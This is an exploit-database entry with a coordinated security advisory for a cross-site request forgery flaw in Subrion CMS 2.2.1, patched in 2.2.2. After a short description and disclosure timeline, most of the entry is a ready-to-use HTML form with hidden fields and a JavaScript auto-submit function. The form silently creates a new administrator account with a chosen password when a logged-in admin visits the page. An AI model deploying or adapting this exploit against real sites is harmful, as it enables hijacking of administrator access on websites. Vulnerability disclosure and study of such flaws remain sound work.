Subrion CMS 2.2.1 CSRF Add Admin Exploit

ID 1337DAY-ID-19390
Type zdt
Reporter LiquidWorm
Modified 2012-09-12T00:00:00


Exploit for php platform in category web applications

Title: Subrion CMS 2.2.1 CSRF Add Admin Exploit
Vendor: Intelliants LLC
Product web page:
Affected version: 2.2.1
Summary: Subrion is a free open source content management system. It's
written in PHP 5 and utilizes MySQL database. Subrion CMS can be easily
integrated into your current website or used as a stand alone platform.
It's extremely flexible and scalable php system that stands for a content
management framework.
Desc: The application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.
 - Usergroup 1 - Administrator
 - Usergroup 2 - Moderator
 - Usergroup 8 - Registered
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
Vendor status:
[05.09.2012] Vulnerability discovered.
[06.09.2012] Contact with the vendor.
[07.09.2012] Vendor responds asking more details.
[07.09.2012] Sent detailed information to the vendor.
[10.09.2012] Vendor creates patch.
[11.09.2012] Vendor releases version 2.2.2 to address this issue.
[11.09.2012] Coordinated public security advisory released.
Advisory ID: ZSL-2012-5106
Advisory URL:
<title>Subrion CMS 2.2.1 CSRF Add Admin Exploit</title>
<body><center><br />
<form method="post" action="http://localhost/subrion/admin/accounts/add/" onsubmit="forge()">
<input type="hidden" name="username" value="Commando" />
<input type="hidden" name="fullname" value="Arnold Schwarzenegger" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="_password" value="l33tP4ss!" />
<input type="hidden" name="_password2" value="l33tP4ss!" />
<input type="hidden" name="usergroup" value="1" />
<input type="hidden" name="avatar" value="" />
<input type="hidden" name="sponsored" value="0" />
<input type="hidden" name="plan_id" value="1" />
<input type="hidden" name="sponsored_end" value="" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="save" value="Add" />
<input type="hidden" name="goto" value="list" />
<input type="hidden" name="old_name" value="ZSL" />
<input type="hidden" name="id" value="" />
<input type="submit" id="exploit" value="Forge!" />
<script type="text/javascript">
function forge(){document.getElementById("exploit").click();}

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